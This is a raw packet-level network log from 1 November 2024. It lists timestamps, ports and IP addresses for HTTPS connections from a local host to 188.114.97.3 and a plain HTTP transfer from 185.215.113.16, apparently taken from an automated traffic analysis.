Nov 1, 2024 12:13:16.629040956 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:16.629051924 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:16.629291058 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:16.630409956 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:16.630534887 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:16.630564928 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:16.630619049 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:16.630625010 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:17.198436975 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:17.198537111 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:17.198586941 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:17.198688984 CET	49710	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:17.198700905 CET	443	49710	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:17.380867004 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:17.380908966 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:17.381025076 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:17.381366014 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:17.381377935 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:18.211637020 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:18.211708069 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:18.213099003 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:18.213107109 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:18.213346958 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:18.215049982 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:18.215214014 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:18.215241909 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:18.215296030 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:18.215305090 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:18.871490002 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:18.871730089 CET	443	49719	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:18.871761084 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:18.871792078 CET	49719	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:19.124259949 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:19.124298096 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:19.124366045 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:19.124769926 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:19.124785900 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:19.731790066 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:19.731849909 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:19.732990980 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:19.732996941 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:19.733237982 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:19.734436035 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:19.734534979 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:19.734539986 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:20.205703020 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:20.205794096 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:20.205843925 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:20.205955029 CET	49729	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:20.205967903 CET	443	49729	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:21.752310991 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:21.752357960 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:21.752420902 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:21.752748966 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:21.752762079 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.358692884 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.358752012 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.359998941 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.360007048 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.360259056 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.362065077 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.362806082 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.362833977 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.362940073 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.362974882 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.363076925 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.363109112 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.363230944 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.363254070 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.363379002 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.363398075 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.363538980 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.363573074 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.363581896 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.363723993 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.363754034 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.372054100 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.372204065 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.372237921 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.372246027 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.372260094 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.372267008 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.372383118 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.372427940 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.372461081 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.373262882 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:22.373364925 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:22.373385906 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:24.813204050 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:24.813290119 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:24.813364983 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:24.935849905 CET	49741	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:24.935877085 CET	443	49741	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:25.192265987 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:25.192322969 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:25.192384005 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:25.195710897 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:25.195729017 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:25.937695980 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:25.937762976 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:25.938980103 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:25.938987970 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:25.939244986 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:25.945861101 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:25.945878983 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:25.945964098 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:26.664561033 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:26.664648056 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:26.664742947 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:26.664984941 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:26.665004015 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:26.665030956 CET	49765	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:13:26.665038109 CET	443	49765	188.114.97.3	192.168.2.7
Nov 1, 2024 12:13:26.668396950 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:26.673413992 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:26.674698114 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:26.674843073 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:26.679683924 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.579005957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.579127073 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.579138041 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.579219103 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.579360962 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.579377890 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.579401016 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.579829931 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.579843044 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.579890013 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.580219030 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.580235958 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.580250025 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.580266953 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.580308914 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.584054947 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.584223032 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.584239960 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.584280014 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.584562063 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.584619045 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.735055923 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735165119 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735232115 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.735347033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735516071 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735546112 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735610008 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.735768080 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735780001 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735791922 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735810041 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.735838890 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.735842943 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.736450911 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.736660957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.736699104 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.736718893 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.736743927 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.737023115 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.737036943 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.737103939 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.737471104 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.737483978 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.737498045 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.737536907 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.737956047 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.737968922 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.738048077 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.738353968 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.738367081 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.738379955 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.738415003 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.738431931 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.738862038 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.792500019 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.890875101 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891006947 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891017914 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891068935 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.891278982 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891290903 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891336918 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.891423941 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891484022 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.891572952 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891870022 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891880035 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891885996 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891896963 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.891932964 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.891932964 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.892379045 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.892393112 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.892405987 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.892426014 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.892466068 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.893093109 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.893109083 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.893121004 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.893147945 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.893691063 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.893706083 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.893732071 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.893857956 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.893928051 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.894217968 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.894229889 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.894366026 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.894378901 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.894392014 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.894440889 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.895071030 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.895087957 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.895100117 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.895132065 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.895584106 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.895596027 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.895607948 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.895620108 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.895623922 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.895647049 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.896639109 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.896653891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.896665096 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.896677971 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.896687031 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.896776915 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.897595882 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.897608995 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.897643089 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.897653103 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.897655964 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.897667885 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.897682905 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.897756100 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.898288012 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.898312092 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.898324013 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.898336887 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.898350000 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.898360968 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:27.898376942 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.898376942 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:27.898421049 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.007946014 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.008035898 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.008048058 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.008147001 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.046489954 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.046560049 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.046571970 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.046583891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.046632051 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.046690941 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.046710968 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.046746969 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.046891928 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.046904087 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.046984911 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.047064066 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.047076941 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.047132015 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.047341108 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.047353029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.047365904 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.047400951 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.047646046 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.047657967 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.047672033 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.047692060 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.047790051 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.047998905 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048034906 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048075914 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.048234940 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048244953 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048255920 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048296928 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.048454046 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048528910 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048542976 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048547983 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.048556089 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048571110 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.048600912 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.048600912 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.049145937 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049156904 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049211025 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.049407005 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049420118 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049431086 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049443960 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049457073 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049469948 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049482107 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.049484968 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.049484968 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.049519062 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.050328016 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.050340891 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.050354004 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.050371885 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.050410032 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.050635099 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.050647020 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.050659895 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.050719976 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.051098108 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.051110029 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.051126003 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.051139116 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.051145077 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.051151037 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.051163912 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.051176071 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.051189899 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.051189899 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.051275015 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.052017927 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.052028894 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.052041054 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.052054882 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.052067995 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.052073956 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.052081108 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.052094936 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.052103996 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.052119970 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.053004980 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.053018093 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.053046942 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.053060055 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.053071022 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.053083897 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.053083897 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.053083897 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.053095102 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.053108931 CET	80	49772	185.215.113.16	192.168.2.7
Nov 1, 2024 12:13:28.053128004 CET	49772	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:13:28.053141117 CET	49772	80	192.168.2.7	185.215.113.16
